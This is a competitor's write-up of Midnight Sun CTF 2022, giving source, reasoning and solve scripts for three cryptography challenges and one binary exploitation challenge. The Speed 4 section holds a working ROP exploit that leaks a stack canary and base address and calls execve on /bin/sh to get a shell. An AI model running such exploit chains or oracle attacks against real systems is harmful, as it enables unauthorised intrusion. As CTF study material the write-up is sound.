Midnight Sun CTF 2022 Writeup

Mon Apr 04 2022

I participated Midnight Sun CTF 2022 as a member of WreckTheLine. The results were 18th/346.

Here is my writeup for challs I solved.

Crypto

kompot_512

15 solves

challenge.sage
'''
2   bag of fruit, mixed, dried
1   bag prunes
2   litre of water
1   spoon of clove
1/2 lemon

'''

p = random_prime(2^512)
R.<x> = PolynomialRing(GF(p))

def F(f: R, k: Integer) -> R:
    g = x
    while k > 0:
        if k % 2 == 1:
            g = f(g)
        k = k // 2
        f = f(f)
    return g

f = (1*x+2)/(3*x+4)
g = (2*x+1)/(13*x+37)

x0, x1 = randint(0, 2^128), randint(0, 2^128)
y0, y1 = randint(0, 2^128), randint(0, 2^128)

A = F(f, x0)(F(g, x1))
B = F(f, y0)(F(g, y1))
C = F(f, x0 + y0)(F(g, x1 + y1))

with open("output.txt", "w") as f:
    f.write("p = %s\n" % p)
    f.write("A = %s\n" % A)
    f.write("B = %s\n" % B)

print("My kompot is ready: midnight{%d}" % (C(0)))

$f$ and $g$ are functions and some values are calculated like $(f(f))(f(g))$ by F. It's difficult to handle this operation as is. Let's first analyze it.

Consider $f = \frac{a_1 x + a_2}{a_3 x + a_4}, g = \frac{b_1 x + b_2}{b_3 x + b_4}$ and calculate $f(g)$ .

\begin{align*} f(g) &= \frac{a_1 \frac{b_1 x + b_2}{b_3 x + b_4} + a_2}{a_3 \frac{b_1 x + b_2}{b_3 x + b_4} + a_4} \\ &= \frac{(a_1 b_1 + a_2 b_3) x + (a_1 b_2 + a_2 b_4)}{(a_3 b_1 + a_4 b_3) x + (a_3 b_2 + a_4 b_4)} \end{align*}

Looking carefully, you can find this is like matrix multiplication. Let $A = \left( \begin{array}{cc} a_1 & a_2 \\ a_3 & a_4 \end{array}\right)$ , $B = \left( \begin{array}{cc} b_1 & b_2 \\ b_3 & b_4 \end{array}\right)$ and $f(g) = \frac{c_1 x + c_2}{c_3 x + c_4}$ and $C = \left( \begin{array}{cc} c_1 & c_2 \\ c_3 & c_4 \end{array}\right)$ . Then $C = AB$ . So we can map from a fraction to a matrix. Note that matrix has arbitrariness in the product of constants (sagemath treat it like $a_3 = 1$ ).

Using this notation, let's consider F. Let f be $a = \left( \begin{array}{cc} 1 & 2 \\ 3 & 4 \end{array}\right)$ and $b = \left( \begin{array}{cc} 2 & 1 \\ 13 & 37 \end{array}\right)$ . Then the function F(f, x0) is described as $a^{x_0}$ . So this challenge is translated as follows: Given two matrices $a^{x_0} b^{x_1}, a^{y_0} b^{y_1}$ , find $a^{x_0 + y_0} b^{x_1 + y_1}$ . Since $a, b$ are not commutative, it's not obvious to find it.

After some googling, I found this type of problem is known as Stickel's key exchange protocol. Next I found this article stating how to decrypt it. The main idea is as follows: when given are matrices $a, b$ and $u = a^{x_0} b^{x_1}, v = a^{y_0} b^{y_1}$ , where $x_0, x_1, y_0, y_1$ are unknown, you can calculate $a^{x_0 + y_0} b^{x_1 + y_1}$ when you find $x, y$ such that $ax = xa, by = yb, u = xy$ . It's because $a^{x_0 + y_0} b^{x_1 + y_1} = a^{y_0} u b^{y_1} = a^{y_0} xy b^{y_1} = x a^{y_0} b^{y_1} y = xvy$ (rhs is known).

I could find such $x, y$ by the method described in the article above (see chapter 4).

solve.sage
a = matrix(GF(p), [[1, 2], [3, 4]])
b = matrix(GF(p), [[2, 1], [13, 37]])
u = matrix(GF(p), [[1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676, 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146], [1, 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612]])
u_inv = u.inverse()

PR_.<y00, y01, y10, y11> = PolynomialRing(GF(p))
y = [[y00, y01], [y10, y11]]


def matrix_product(A, B):
    return [[A[0][0] * B[0][0] + A[0][1] * B[1][0], A[0][0] * B[0][1] + A[0][1] * B[1][1]], [A[1][0] * B[0][0] + A[1][1] * B[1][0], A[1][0] * B[0][1] + A[1][1] * B[1][1]]]


rhs = matrix_product(matrix_product(a, y), u_inv)
tmp = u_inv * a
lhs = matrix_product(y, tmp)
polys = [lhs[0][0] - rhs[0][0], lhs[0][1] - rhs[0][1], lhs[1][0] - rhs[1][0], lhs[1][1] - rhs[1][1]]

lhs = matrix_product(y, b)
rhs = matrix_product(b, y)
polys += [lhs[0][0] - rhs[0][0], lhs[0][1] - rhs[0][1], lhs[1][0] - rhs[1][0], lhs[1][1] - rhs[1][1]]

I = PR_.ideal(polys)
basis = I.groebner_basis()
# sage: basis[0]
# y00 + 2823144850113056351625081820301823927631100448186286059833922790254056088323172650727788116013822989563088344399811491876038709043062738353303204256754853*y11
# sage: basis[1]
# y01 + 2092552437376426232819470347070068430509541278572335708668229054944967553134648915010158162205489669380754562156034362395383877192567308640545682774225916*y11
# sage: basis[2]
# y10 + 1849021633130882859884266522659483264802354888701018924946331143175271374738474336437614844269378562653309968074775319235165599909068832069626508946716270*y11
y11 = 1
y10 = -1849021633130882859884266522659483264802354888701018924946331143175271374738474336437614844269378562653309968074775319235165599909068832069626508946716270 % p
y01 = -2092552437376426232819470347070068430509541278572335708668229054944967553134648915010158162205489669380754562156034362395383877192567308640545682774225916 % p
y00 = -2823144850113056351625081820301823927631100448186286059833922790254056088323172650727788116013822989563088344399811491876038709043062738353303204256754853 % p
y = matrix(GF(p), [[y00, y01], [y10, y11]])
x_inv = y * u_inv
x = x_inv.inverse()

v = matrix(GF(p), [[2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225, 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785], [1, 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029]])
C = x * v * y
print(C[0, 1] / C[1, 1])

midnight{3376861921537964672541400365700467193751583514806849485754729332434511031717727819872760853068826617376545669091237756749178566789525020268534935958343010}

BabyZK

19 solves

babyzk.py
#!/usr/bin/python3

from sys import stdin, stdout, exit
from secrets import randbelow
from gmpy import next_prime

from flag import FLAG


class BabyZK:

    def __init__(self, degree, nbits):
        self.p = self.__safeprime(nbits)
        self.degree = degree
        self.m = [randbelow(self.p-1) for i in range(self.degree)]
        self.g = 2 + randbelow(self.p-3)
        self.ctr = 0

    def __safeprime(self, nbits):
        stdout.write("Generating safeprime...")
        p = -1
        while True:
            q = next_prime(randbelow(2 * 2**nbits))
            p = 2*q + 1
            if p.is_prime():
                break
        return p

    def __eval(self, x: int) -> int:
        y = 0
        for a in self.m:
            y += y * x + a
        return y % (self.p-1)

    def prover(self, x: int) -> int:
        if self.ctr > self.degree + 1:
            raise Exception("Sorry, you are out of queries...")
        self.ctr += 1
        return int(pow(self.g, self.__eval(x), self.p))

    def verify(self, x: int, u: int):
        if not u < self.p or u < 0:
            raise Exception("Oof, this is not mod p...")
        if int(pow(self.g, self.__eval(x), self.p)) != u:
            raise Exception("No can do...")


bzk = BabyZK(15, 1024)

def prove():
    stdout.write("> ")
    stdout.flush()
    challenge = int(stdin.readline())
    stdout.write("%d\n" % bzk.prover(challenge))
    stdout.flush()

def verify():
    for i in range(100):
        challenge = randbelow(bzk.p)
        stdout.write("%d\n" % challenge)
        stdout.flush()
        response = int(stdin.readline())
        bzk.verify(challenge, response)
    stdout.write("%s\n" % FLAG)
    stdout.flush()

banner = lambda: stdout.write("""
1) Query the prover oracle.
2) Prove to verifier that you know the secret.
3) Exit.
""")

choices = {
    1: prove,
    2: verify,
    3: exit
}

banner()
stdout.flush()

while True:
    try:
        choice = stdin.readline()
        choices.get(int(choice))()
    except Exception as e:
        stdout.write("%s\n" % e)
        stdout.flush()
        exit()

When you send $x$ , the oracle calculates $\mathrm{eval}(x) = \sum_i c_i m_i \mod p-1$ and $g^{\mathrm{eval}(x)} \mod p$ (only 17 times). You need to find the oracle output when $x$ is given.

Since we don't know all parameters, let's start to find $p$ . Let i-th inputs be $x_i$ and the results of eval(x_i) be $E_i = \sum_j c_{ij} m_j$ and the result of prover be $G_i = g^{E_i}$ . The summation $\sum_j$ will be omitted for brevity. If you find a certain value $A$ such that you can describe it in two ways like $A = \prod_i G_i^{x_i} = \prod_i G_i^{y_i}$ , then the difference of the two should be a multiple of $p$ . From this fact, you can calculate $p$ by gcd of many two pairs that describe certain values.

But how can you find such a value? We only know $c_{ij}, G_i$ . Since you know $c_{ij}$ , you can calculate $x_i$ such that $\sum_{i, j}x_i c_{ij} m_j = m_0$ . The rhs is just an example, you can choose anything like $m_{14}$ or $m_1 + m_2$ . Also you can find such $x_i$ in many ways because 17 (oracle times) > 15 ( $m$ dimension). Since $\prod_i G_i^{x_i} = g^{\sum_i x_i E_i} = g^{\sum_{i, j}x_i c_{ij} m_j}$ , you can say $\prod_i G_i^{x_i} = \prod_i G_i^{y_i} \mod p$ if $\sum_{i, j}x_i c_{ij} m_j = \sum_{i, j}y_i c_{ij} m_j$ . Therefore you can find a multiple of $p$ and find $p$ by repeating this.

Remark that found $x_i$ are in general not positive integers. Since you don't know $p$ for now, you cannot calculate like $G_i^{-1}$ or $G_i^{0.5}$ . To avoid this, you should modify the rhs of $\sum_{i, j}x_i c_{ij} m_j = m_0$ . For example, when you find $0.5 c_{02} m_2 = (-1) c_{13} m_3 + c_{24} m_4 = m_0$ , you should modify it into $c_{02} m_2 = (-2) c_{13} m_3 + 2c_{24} m_4 = 2m_0$ and then $c_{02} m_2 + 2c_{13} m_3 = 2c_{24} m_4 = 2m_0 + 2c_{13} m_3$ .

After $p$ is found, it seems you can find $g^{m_i}$ by linear calculation above. But it's impossible I think. Considering rows of the matrix $c_{ij}$ in mod 2, you know there are two patterns [0, 0, ..., 0, 0, 1] or [1, 1, ..., 1, 1]. Therefore it's essentially impossible to determine the parity of $g^{m_i}$ except for $g^{m_{14}}$ . But there is no problem, because you don't use $g^{m_i}$ as is.

solve.sage
import random
from pwn import remote, context

context.log_level = "DEBUG"

io = remote("babyzk-01.hfsc.tf", 4590)
io.recvuntil(b"Exit.\n")

def send1(x):
    io.sendline(b"1")
    io.sendlineafter(b"> ", str(x).encode())
    return int(io.recvline())


proves = []
for x in range(-9, 8):
    proves.append(send1(x))


PR = PolynomialRing(ZZ, names=[f"m{i}" for i in range(15)])
m = PR.gens()
coeffs = []
for x in range(-9, 8):
    y = 0
    for mi in m:
        y += y * x + mi
    coeffs.append([y.coefficient(mi) for mi in m])
C = matrix(ZZ, coeffs)


def find_p_multi(target_idx, used_list, p_multi=None):
    n = len(used_list)
    assert n == 2
    t_list = []
    v_list = []
    for used in used_list:
        t = vector(ZZ, [1 if i == target_idx else 0 for i in range(15)])
        v = C[used].solve_left(t)
        t *= v.denominator()
        v *= v.denominator()
        t_list.append(t[target_idx])
        v_list.append(v)

    Cs = [[0] * 17 for _ in range(n)]
    lcm_t = lcm(t_list)
    for idx in range(n):
        for i in range(15):
            Cs[idx][used_list[idx][i]] = v_list[idx][i] * (lcm_t // t_list[idx])
    Cs = list(zip(*Cs))
    Cs_modified = []
    for i in range(17):
        tmp = min(Cs[i])
        Cs_modified.append(tuple([int(Cs[i][idx] - tmp) for idx in range(n)]))
    print(Cs_modified)
    res_list = [1] * n
    for idx in range(n):
        for i in range(17):
            print(i)
            if p_multi is None:
                res_list[idx] *= proves[i] ** Cs_modified[i][idx]
            else:
                res_list[idx] *= pow(proves[i], Cs_modified[i][idx], p_multi)
    return int(res_list[1] - res_list[0])


target_idx = 14
used0 = list(range(15))
used1 = [0, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14, 15]
used_list = [used0, used1]
mp = find_p_multi(target_idx, used_list)

target_idx = 14
used0 = list(range(15))
used1 = [0, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 15, 16]
used_list = [used0, used1]
tmp = find_p_multi(target_idx, used_list)
tmp = gcd(mp, tmp)
if tmp == 0:
    tmp = mp
mp = int(tmp)



while True:
    if mp.bit_length() < 10000:
        break
    target_idx = random.choice(range(15))
    used_list = [random.sample(range(17), 15) for _ in range(2)]
    if mp.bit_length() < 10 ** 5:
        tmp = find_p_multi(target_idx, used_list, p_multi=mp)
    else:
        tmp = find_p_multi(target_idx, used_list)
    tmp = gcd(mp, tmp)
    if tmp == 0:
        tmp = mp
    mp = int(tmp)


def simple_factor(x):
    primes = prime_range(0, 10**6)
    for prime in primes:
        while x % prime == 0:
            x //= prime
    return x


mp = int(simple_factor(mp))

p = Integer(mp)

ti = vector(Zmod(p - 1), [0] * 15)
Cp = C.change_ring(Zmod(p - 1))
Z = Zmod(p)


vs = []
for j in range(15):
    ti[j] = 2
    vs.append(Cp.solve_left(ti))
    ti[j] = 0

gm = []
for v in vs:
    res = Z(1)
    for i in range(17):
        res *= pow(Integer(proves[i]), v[i], p)
    gm.append(Z(res).sqrt())

if gm[-1] == p - proves[8]:
    gm[-1] = Z(proves[8])
if prod(gm) == p - proves[9]:
    gm[0] *= -1

res = 1
for i in range(15):
    res *= gm[i] ** C[7][i]

PR = PolynomialRing(Zmod(p - 1), names=[f"m{i}" for i in range(15)])
m = PR.gens()


def send2():
    x = int(io.recvline())

    y = 0
    for mi in m:
        y += y * x + mi
    coeff = [y.coefficient(mi) for mi in m]

    res = 1
    for i in range(15):
        res *= gm[i] ** coeff[i]
    io.sendline(str(res).encode())


io.sendline(b"2")
for _ in range(100):
    send2()

print(io.recvline())

midnight{n0t_h4rd_3ven_w1th0ut_modulu5}

Pelle's Rotor-Supported Arithmetic

35 solves

pelles_rotor_supported_arithmetic.py
#!/usr/bin/python3
from sys import stdin, stdout, exit
from flag import FLAG
from secrets import randbelow
from gmpy import next_prime

p = int(next_prime(randbelow(2**512)))
q = int(next_prime(randbelow(2**512)))
n = p * q
e = 65537

phi = (p - 1)*(q - 1)
d = int(pow(e, -1, phi))
d_len = len(str(d))

print("encrypted flag", pow(FLAG, 3331646268016923629, n))
stdout.flush()

ctr = 0
def oracle(c, i):
    global ctr
    if ctr > 10 * d_len // 9:
        print("Come on, that was already way too generous...")
        return
    ctr += 1
    rotor = lambda d, i: int(str(d)[i % d_len:] + str(d)[:i % d_len])
    return int(pow(c, rotor(d, i), n))

banner = lambda: stdout.write("""
Pelle's Rotor Supported Arithmetic Oracle
1) Query the oracle with a ciphertext and rotation value.
2) Exit.
""")

banner()
stdout.flush()

choices = {
    1: oracle,
    2: exit
}

while True:
    try:
        choice = stdin.readline()
        print("c:")
        stdout.flush()
        cipher = stdin.readline()
        print("rot:")
        stdout.flush()
        rotation = stdin.readline()
        print(choices.get(int(choice))(int(cipher), int(rotation)))
        stdout.flush()
    except Exception as e:
        stdout.write("%s\n" % e)
        stdout.flush()
        exit()

If you find $d$ (and also $p, q$ ), it's easy to decrypt the encrypted flag.

I divide the solution into 3 steps.

find $d_{len}$
find $n$
find $d$

find $d_{len}$ Since rotor(d, i) = rotor(d, i + d_len) and $d_{len}$ is around 308, you can check input = d_len if rotor(d, 0) = rotor(d, input).

find $n$ When c = -1 and rotor(d, i) is odd, oracle should output $n - 1$ . From this we can find $n$

find $d$ For brevity I assume $d_{len} = 308$ .

Let rotor(d, i) be $d_i$ and $d_0 = d = \sum_{j=0}^{307} a_j 10^j$ . Then $d_i = \sum_{j=0}^{307} a_j 10^{(j + i) \mod 308}$ . To erase many $a_j$ , $10d_i - d_{i+1} = a_{307-i}(10^{308} - 1)$ . Since we know $c^{d_i}$ and $0 \le a_j < 10$ , we can find $a_{307-i}$ by brute force. By repeating this from $i = 0$ to $i = 307$ , you can find $d$ .

solve.sage
from Crypto.Util.number import long_to_bytes
from pwn import remote
from tqdm import tqdm

io = remote("pelle-01.hfsc.tf", 4591)
io.recvuntil(b"encrypted flag ")
encrypted_flag = int(io.recvline())
io.recvuntil(b"Exit.\n")


def send(c, rot):
    io.sendline(b"1")
    io.recvline()
    io.sendline(str(c).encode())
    io.recvline()
    io.sendline(str(rot).encode())
    return int(io.recvline())


base = send(2, 0)
d_len = None
for i in range(305, 310):
    tmp = send(2, i)
    if tmp == base:
        d_len = i
        break
assert d_len is not None

for i in range(100):
    base = send(-1, i)
    if base != 1:
        n = base + 1
        break

e = 0x10001
C = 2

results = [send(C, i) for i in tqdm(range(d_len))]
saved_results = results.copy()
results.append(results[0])

ans = 0
for i in range(d_len):
    ans *= 10
    t0 = pow(results[i], 10, n)
    t1 = pow(results[i+1], -1, n)
    powC = pow(C, 10**d_len - 1, n)
    for j in range(10):
        if pow(powC, j, n) == t0 * t1:
            print("found!", i, j)
            ans += j
            break
    else:
        print("error")


d = ans
r = e * d - 1
k = 0
while r % 2 == 0:
    r //= 2
    k += 1
t = r
print(k, t)
assert 2 ** k * t == e * d - 1

m = 7

while k >= 0:
    res = pow(m, 2 ** k * t, n)
    if res == 1:
        k -= 1
        continue
    p = gcd(n, res + 1)
    q = gcd(n, res - 1)
    break

phi = (p - 1) * (q - 1)
d_flag = int(pow(3331646268016923629, -1, phi))
print(long_to_bytes(int(pow(encrypted_flag, d_flag, n))))

midnight{twist_and_turn}

Pwn

Speed 4

25 solves

This is a simple ROP chall.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

There is execve in plt, so the goal is call it with appropriate arguments.

There are some information in the stack like base address, stack address. You can leak them by input of an arbitrary string before the address you want to know. There is no ROP gadget of pop rdx. To set 0 to rdx, I used printf.

solve.py
from pwn import *


io = remote("speed-04.hfsc.tf", 34500)

io.sendlineafter(b"b0f: ", b"A" * 56)
io.recvuntil(b"xfl: ")
ret = io.recvline()
addr_base = u64(ret[56: 62] + b"\x00\x00") - 0x1140
addr_execve = addr_base + 0x1120
print(f"{addr_base:#x}")
print(f"{addr_execve:#x}")

io.sendlineafter(b"b0f: ", b"A" * 64)
io.recvuntil(b"xfl: ")
ret = io.recvline()
# 0x7fffffffe620 を見ている、0x7fffffffe4e0 を指したい
addr_input = u64(ret[64: 70] + b"\x00\x00") - (0x620 - 0x4e0)
print(f"{addr_input:#x}")

io.sendlineafter(b"b0f: ", b"A" * 73)
io.recvuntil(b"xfl: ")
ret = io.recvline()
canary = b"\x00" + ret[73:80]

addr_pop_rdi_ret = addr_base + 0x00000000000015a3
addr_pop_rsi_pop_r15_ret = addr_base + 0x00000000000015a1

payload = b""
payload += b"/bin/sh\x00"
payload += b"A" * 64
payload += canary
payload += b"A" * 8
payload += p64(addr_pop_rdi_ret)  # pop rdi ; ret
payload += p64(addr_input)
payload += p64(addr_pop_rsi_pop_r15_ret)
payload += p64(0)
payload += p64(0)
payload += p64(addr_base + 0x10f0)  # printf で rdx = 0 に。これを最初にすると buffer の何かで怒られてしまうのでこの後もう一度 rdi, rsi をセットし直す
payload += p64(addr_pop_rdi_ret)  # pop rdi ; ret
payload += p64(addr_input)
payload += p64(addr_pop_rsi_pop_r15_ret)
payload += p64(0)
payload += p64(0)
payload += p64(addr_execve)
print(payload)
io.sendlineafter(b"b0f: ", payload)
io.sendlineafter(b"b0f: ", b"")
io.interactive()

midnight{79f600fc12e44da3beb82e4fc31d270b}